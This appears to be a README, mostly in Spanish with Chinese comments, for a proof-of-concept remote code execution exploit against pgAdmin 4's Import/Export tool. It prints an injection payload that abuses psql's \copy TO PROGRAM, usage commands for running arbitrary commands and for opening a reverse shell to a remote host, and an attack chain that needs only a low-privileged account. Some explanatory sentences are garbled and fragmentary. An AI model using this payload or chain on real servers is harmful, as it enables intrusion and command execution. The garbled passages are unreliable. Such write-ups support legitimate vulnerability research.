
pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - Inyección TO PROGRAM mediante desajuste de escape con barra invertida
PoC de ejecución remota de código en la herramienta Import/Export Data de pgAdmin 4. Aprovecha la divergencia semántica del escape de barra invertida entre el verificador de paréntesis _is_query_parens_balanced() y psql para inyectar \copy ... TO PROGRAM y ejecutar comandos arbitrarios en el servidor que ejecuta pgAdmin.
Cadena de ataque de fondo: CVE-2026-17349 (filtración de credenciales en Workspaces) → CVE-2026-17351 (omisión de solo lectura en AI Assistant) → esta vulnerabilidad (RCE). Las tres solo requieren un usuario autenticado con privilegios bajos.
La herramienta Import/Export Data inserta el SQL del usuario en una plantilla Jinja para construir el comando psql \copy (...). El verificador de equilibrio de paréntesis escrito a mano siempre trata \' como una comilla escapada (correcto solo cuando standard_conforming_strings=off); sin embargo, con (el valor predeterminado de PostgreSQL), , por lo que la comilla se cierra directamente.
standard_conforming_strings=on-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
El verificador cree que ) sigue dentro de la cadena → los paréntesis "equilibrados" pasan la validación; psql cierra la cadena en a\', ) concluye el envoltorio \copy (...), y TO PROGRAM 'cmd' se convierte en una directiva viva, ejecutada por el popen() de psql.
_is_query_parens_balanced()); commit de corrección 1496fabeTO PROGRAM en psql, misma familia)tools_import_export_data)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| Parámetro | Descripción |
|---|---|
--url | URL base de pgAdmin |
--user / --password (o PGADMIN_PASSWORD) | Cuenta con privilegios bajos |
--command | Comando arbitrario (no puede contener comillas simples) |
--reverse HOST:PORT | Genera una reverse shell bash |
--server-id | ID del servidor (por defecto toma automáticamente el primero) |
--file | Nombre del archivo de exportación (se usa para construir el comando \copy, por defecto /tmp/pgadmin_export.csv) |
--no-verify | Omite la verificación del certificado TLS |
Flujo: inicio de sesión (manejo automático de CSRF/sesión) → enumeración de servidores → POST /import_export/job/<sid> para enviar la solicitud is_query_export construida.
Solo para investigación de seguridad, verificación de vulnerabilidades y pruebas defensivas. Este script se elaboró a partir de análisis técnicos públicos y no se ha verificado en equipos reales; los campos de las solicitudes pueden requerir ajustes según la versión de pgAdmin objetivo. Ejecútelo únicamente en entornos de pruebas autorizados y no lo use contra sistemas no autorizados.